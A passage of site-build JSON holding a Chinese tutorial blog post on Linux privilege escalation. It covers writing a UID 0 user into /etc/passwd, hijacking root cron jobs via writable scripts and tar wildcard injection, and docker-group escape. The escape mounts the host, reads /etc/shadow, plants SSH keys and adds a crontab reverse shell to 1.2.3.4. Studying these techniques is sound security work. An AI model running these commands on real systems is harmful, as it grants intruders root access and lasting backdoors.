是无效的，但 sudo 的 env_keep 配置不当（保留 LD_PRELOAD）时依然可以触发。",[10,989,991],{"id":990},"etcpasswd-提权","\u002Fetc\u002Fpasswd  提权",[14,993,994],{},"如果普通用户可以修改 \u002Fetc\u002Fpasswd ，就可能创建一个 UID=0 的用户，从而获得 root 权限。",[38,996,999],{"className":997,"code":998,"language":43,"meta":44},[41],"# 生成密码\nopenssl passwd -1 123456\n\n# 写入\necho 'hacker:$1$U3j\u002FAfY0$tkh7ZVaEdkutQYp2uBugC.:0:0:root:\u002Froot:\u002Fbin\u002Fbash' >> \u002Fetc\u002Fpasswd\n\n# 提权\nsu hacker\n",[46,1000,998],{"__ignoreMap":44},[10,1002,1003],{"id":1003},"定时任务提权",[14,1005,1006],{},"root 的计划任务（cron）会定期以 root 身份执行脚本，如果脚本内容或脚本调用的命令可控，就可以借机提权。",[30,1008,1010],{"id":1009},"_1-查看定时任务","1.  查看定时任务",[38,1012,1015],{"className":1013,"code":1014,"language":43,"meta":44},[41],"# 查看系统级计划任务（全局可读）\ncat \u002Fetc\u002Fcrontab\n# 查看 \u002Fetc\u002Fcron.d 下的任务\nls -la \u002Fetc\u002Fcron.d\ncat \u002Fetc\u002Fcron.d\u002F*\n# 查看按周期执行的目录\nls -la \u002Fetc\u002Fcron.daily \u002Fetc\u002Fcron.hourly \u002Fetc\u002Fcron.weekly \u002Fetc\u002Fcron.monthly\n# 查看当前用户的计划任务\ncrontab -l\n",[46,1016,1014],{"__ignoreMap":44},[14,1018,1019],{},"发现 root 定期执行的脚本后，先检查脚本是否可写：",[38,1021,1024],{"className":1022,"code":1023,"language":43,"meta":44},[41],"ls -la \u002Fusr\u002Flocal\u002Fbin\u002Fbackup.sh\n",[46,1025,1023],{"__ignoreMap":44},[30,1027,1029],{"id":1028},"_2-替换可写脚本","2.  替换可写脚本",[14,1031,1032],{},"如果脚本普通用户可写，直接追加恶意命令，等 cron 触发即可：",[38,1034,1037],{"className":1035,"code":1036,"language":43,"meta":44},[41],"# 向 root 定时执行的脚本追加提权命令\necho 'cp \u002Fbin\u002Fbash \u002Ftmp\u002Frootbash && chmod u+s \u002Ftmp\u002Frootbash' >> \u002Fusr\u002Flocal\u002Fbin\u002Fbackup.sh\n\n# 等任务触发后执行\n\u002Ftmp\u002Frootbash -p\n",[46,1038,1036],{"__ignoreMap":44},[30,1040,1042],{"id":1041},"_3-通配符注入","3.  通配符注入",[14,1044,1045,1046,1049,1050,1053,1054,1057],{},"cron 任务中如果使用了带通配符的命令（例如 ",[46,1047,1048],{"code":1048},"tar czf backup.tar.gz *","），",[46,1051,1052],{"code":1052},"*"," 会被展开成目录里的文件名，而文件名会被当作 tar 的参数解析，可以利用 ",[46,1055,1056],{"code":1056},"--checkpoint-action=exec"," 执行任意命令：",[38,1059,1062],{"className":1060,"code":1061,"language":43,"meta":44},[41],"# 在 tar 执行目录下创建恶意脚本\necho 'cp \u002Fbin\u002Fbash \u002Ftmp\u002Frootbash && chmod u+s \u002Ftmp\u002Frootbash' > shell.sh\n\n# 创建触发参数文件，文件名会被 tar 当作参数\ntouch -- --checkpoint=1\ntouch -- '--checkpoint-action=exec=sh shell.sh'\n\n# 等 cron 触发 tar 后执行\n\u002Ftmp\u002Frootbash -p\n",[46,1063,1061],{"__ignoreMap":44},[10,1065,1067],{"id":1066},"docker-提权","Docker 提权",[14,1069,1070,1071,1074],{},"如果当前用户属于 docker 组，或者 ",[46,1072,1073],{"code":1073},"\u002Fvar\u002Frun\u002Fdocker.sock"," 可写，就可以创建容器并挂载宿主机的根目录，从而完全控制宿主机。",[30,1076,1078],{"id":1077},"_1-检查权限","1.  检查权限",[38,1080,1083],{"className":1081,"code":1082,"language":43,"meta":44},[41],"# 查看所属组，确认是否在 docker 组\nid\n# groups 中包含 docker 即可利用\n\n# 查看 docker socket 权限\nls -la \u002Fvar\u002Frun\u002Fdocker.sock\n",[46,1084,1082],{"__ignoreMap":44},[30,1086,1088],{"id":1087},"_2-挂载宿主机文件系统","2.  挂载宿主机文件系统",[38,1090,1093],{"className":1091,"code":1092,"language":43,"meta":44},[41],"# 将宿主机的 \u002F 挂载到容器的 \u002Fmnt，进入容器\ndocker run -v \u002F:\u002Fmnt -it ubuntu \u002Fbin\u002Fbash\n\n# 容器内直接读取宿主机上的敏感文件\ncat \u002Fmnt\u002Fetc\u002Fshadow\n\n# 或者 chroot 切换到宿主机的根文件系统\nchroot \u002Fmnt \u002Fbin\u002Fbash\n",[46,1094,1092],{"__ignoreMap":44},[30,1096,1098],{"id":1097},"_3-写入后门","3.  写入后门",[14,1100,1101],{},"拿到宿主机文件系统访问权限后，可以写入 SSH 密钥或计划任务：",[38,1103,1106],{"className":1104,"code":1105,"language":43,"meta":44},[41],"# 写入 root 的 SSH 公钥\necho 'ssh-rsa AAAAB3NzaC1yc2E...' > \u002Fmnt\u002Froot\u002F.ssh\u002Fauthorized_keys\n\n# 或写入 root 的计划任务反弹 shell\necho '* * * * * root bash -c \"bash -i >& \u002Fdev\u002Ftcp\u002F1.2.3.4\u002F4444 0>&1\"' >> \u002Fmnt\u002Fetc\u002Fcrontab\n",[46,1107,1105],{"__ignoreMap":44},{"title":44,"searchDepth":1109,"depth":1109,"links":1110},4,[1111,1113,1121,1131,1136,1146,1151,1152,1156,1157,1162],{"id":12,"depth":1112,"text":12},2,{"id":24,"depth":1112,"text":25,"children":1114},[1115,1117,1118,1119,1120],{"id":32,"depth":1116,"text":33},3,{"id":118,"depth":1116,"text":119},{"id":166,"depth":1116,"text":167},{"id":285,"depth":1116,"text":286},{"id":382,"depth":1116,"text":383},{"id":404,"depth":1112,"text":404,"children":1122},[1123,1124,1125,1126,1127,1128,1129,1130],{"id":410,"depth":1116,"text":411},{"id":420,"depth":1116,"text":421},{"id":430,"depth":1116,"text":431},{"id":446,"depth":1116,"text":447},{"id":459,"depth":1116,"text":460},{"id":469,"depth":1116,"text":470},{"id":479,"depth":1116,"text":480},{"id":489,"depth":1116,"text":490},{"id":502,"depth":1112,"text":502,"children":1132},[1133,1134,1135],{"id":508,"depth":1116,"text":509},{"id":605,"depth":1116,"text":606},{"id":615,"depth":1116,"text":616},{"id":641,"depth":1112,"text":642,"children":1137},[1138,1139,1140,1141,1142,1143,1144,1145],{"id":657,"depth":1116,"text":658},{"id":670,"depth":1116,"text":671},{"id":683,"depth":1116,"text":684},{"id":699,"depth":1116,"text":700},{"id":712,"depth":1116,"text":713},{"id":722,"depth":1116,"text":723},{"id":735,"depth":1116,"text":736},{"id":748,"depth":1116,"text":749},{"id":755,"depth":1112,"text":756,"children":1147},[1148,1149,1150],{"id":762,"depth":1116,"text":763},{"id":787,"depth":1116,"text":788},{"id":887,"depth":1116,"text":888},{"id":906,"depth":1112,"text":907},{"id":919,"depth":1112,"text":919,"children":1153},[1154,1155],{"id":925,"depth":1116,"text":926},{"id":966,"depth":1116,"text":967},{"id":990,"depth":1112,"text":991},{"id":1003,"depth":1112,"text":1003,"children":1158},[1159,1160,1161],{"id":1009,"depth":1116,"text":1010},{"id":1028,"depth":1116,"text":1029},{"id":1041,"depth":1116,"text":1042},{"id":1066,"depth":1112,"text":1067,"children":1163},[1164,1165,1166],{"id":1077,"depth":1116,"text":1078},{"id":1087,"depth":1116,"text":1088},{"id":1097,"depth":1116,"text":1098},[1168],"技术","2026-08-05 17:36:30","从 www-data 到 root 的距离",false,"md","\u002F2026\u002FLinux 提权\u002Fcover.jpg",{"slots":1175},{},true,"\u002F2026\u002Flinux",null,{"text":1180,"minutes":1181,"time":1182,"words":1183},"24 min read",23.035,1382100,4607,{"title":5,"description":1170},{"loc":1177},"posts\u002F2026\u002FLinux 提权",[],"tech","DGhKdguOSVVF6Yt1DWMDHG9BZsmsclUj2iq3HCr3Rgs",[1191,1178],{"title":1192,"path":1193,"stem":1194,"date":1195,"type":1188,"children":-1},"Linux的proc文件系统","\u002F2026\u002Flinuxproc","posts\u002F2026\u002FLinux的proc文件系统","2026-07-30 11:11:31",1786110316741]